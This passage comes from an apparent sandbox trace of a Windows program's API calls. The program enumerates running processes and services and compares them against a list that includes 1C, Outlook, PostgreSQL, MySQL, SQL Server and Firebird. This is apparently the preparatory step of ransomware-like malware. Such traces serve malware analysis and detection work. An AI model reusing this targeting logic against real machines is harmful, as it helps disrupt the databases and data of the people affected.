lpString2="lsm.exe") returned 1 [0191.082] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0191.082] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.083] lstrlenW (lpString="svchost.exe") returned 11 [0191.083] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.083] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.084] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.084] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.084] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.084] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.084] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.085] lstrlenW (lpString="svchost.exe") returned 11 [0191.085] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.085] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.086] lstrlenW (lpString="svchost.exe") returned 11 [0191.087] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.087] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.087] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.619] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.619] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.619] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.619] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.620] lstrlenW (lpString="svchost.exe") returned 11 [0191.620] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.620] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.620] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.621] lstrlenW (lpString="svchost.exe") returned 11 [0191.622] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.622] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.622] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.623] lstrlenW (lpString="audiodg.exe") returned 11 [0191.623] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0191.623] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0191.623] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0191.623] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0191.624] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0191.624] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0191.624] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0191.624] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.625] lstrlenW (lpString="svchost.exe") returned 11 [0191.625] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0191.625] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0191.625] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0191.625] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0191.625] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0191.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0191.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0191.626] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0191.627] lstrlenW (lpString="userinit.exe") returned 12 [0191.627] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0191.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0191.627] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0191.627] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0191.627] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0191.627] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0191.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0191.628] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.629] lstrlenW (lpString="explorer.exe") returned 12 [0191.629] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0191.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0191.629] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0191.629] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0191.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0191.629] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.631] lstrlenW (lpString="dwm.exe") returned 7 [0191.631] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.632] lstrlenW (lpString="svchost.exe") returned 11 [0191.632] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0191.633] lstrlenW (lpString="driver.exe") returned 10 [0191.633] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.635] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.635] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0191.636] lstrlenW (lpString="taskhost.exe") returned 12 [0191.636] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.637] lstrlenW (lpString="svchost.exe") returned 11 [0191.637] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0191.638] lstrlenW (lpString="dllhost.exe") returned 11 [0191.638] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0191.639] lstrlenW (lpString="cmd.exe") returned 7 [0191.640] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0191.640] lstrlenW (lpString="reader_sl.exe") returned 13 [0191.641] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0191.642] lstrlenW (lpString="AdobeARM.exe") returned 12 [0191.642] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0191.653] lstrlenW (lpString="conhost.exe") returned 11 [0191.653] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0191.654] CloseHandle (hObject=0x12c) returned 1 [0191.654] Sleep (dwMilliseconds=0x1f4) [0193.068] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d3170 [0193.200] EnumServicesStatusExW (in: hSCManager=0x8d3170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0193.201] GetLastError () returned 0xea [0193.201] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x8d3fa8 [0193.202] EnumServicesStatusExW (in: hSCManager=0x8d3170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8d3fa8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8d3fa8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0193.203] CloseServiceHandle (hSCObject=0x8d3170) returned 1 [0193.205] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0193.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.205] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0193.205] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0193.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0193.205] lstrlenW (lpString="AudioSrv") returned 8 [0193.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0193.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0193.206] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0193.206] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0193.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0193.206] lstrlenW (lpString="BFE") returned 3 [0193.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0193.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0193.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0193.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0193.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0193.207] lstrlenW (lpString="CscService") returned 10 [0193.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0193.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0193.207] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0193.207] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0193.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0193.208] lstrlenW (lpString="DcomLaunch") returned 10 [0193.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0193.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0193.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0193.208] lstrlenW (lpString="Dhcp") returned 4 [0193.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0193.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0193.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0193.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0193.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0193.210] lstrlenW (lpString="Dnscache") returned 8 [0193.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0193.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0193.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0193.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0193.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0193.211] lstrlenW (lpString="eventlog") returned 8 [0193.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0193.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0193.211] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0193.212] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0193.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0193.212] lstrlenW (lpString="EventSystem") returned 11 [0193.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0193.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0193.212] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0193.212] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0193.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0193.212] lstrlenW (lpString="gpsvc") returned 5 [0193.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0193.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0193.213] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0193.213] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0193.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0193.213] lstrlenW (lpString="lmhosts") returned 7 [0193.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0193.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0193.213] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0193.213] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0193.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0193.213] lstrlenW (lpString="MMCSS") returned 5 [0193.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0193.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0193.214] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0193.214] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0193.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0193.214] lstrlenW (lpString="nsi") returned 3 [0193.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0193.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0193.214] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0193.214] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0193.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0193.215] lstrlenW (lpString="PlugPlay") returned 8 [0193.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0193.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0193.215] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0193.215] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0193.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0193.215] lstrlenW (lpString="Power") returned 5 [0193.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0193.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0193.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0193.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0193.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0193.216] lstrlenW (lpString="ProfSvc") returned 7 [0193.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0193.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0193.217] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0193.217] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0193.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0193.217] lstrlenW (lpString="RpcEptMapper") returned 12 [0193.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0193.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0193.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0193.218] lstrlenW (lpString="RpcSs") returned 5 [0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0193.218] lstrlenW (lpString="SamSs") returned 5 [0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0193.219] lstrlenW (lpString="Schedule") returned 8 [0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0193.220] lstrlenW (lpString="SENS") returned 4 [0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0193.221] lstrlenW (lpString="ShellHWDetection") returned 16 [0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0193.221] lstrlenW (lpString="Spooler") returned 7 [0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0193.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0193.222] lstrlenW (lpString="Themes") returned 6 [0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0193.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0193.222] lstrlenW (lpString="UxSms") returned 5 [0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0193.223] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0193.223] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0193.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0193.223] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3fa8 | out: hHeap=0x880000) returned 1 [0193.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0193.228] Process32FirstW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.229] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0193.230] lstrlenW (lpString="System") returned 6 [0193.230] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0193.230] lstrcmpiW 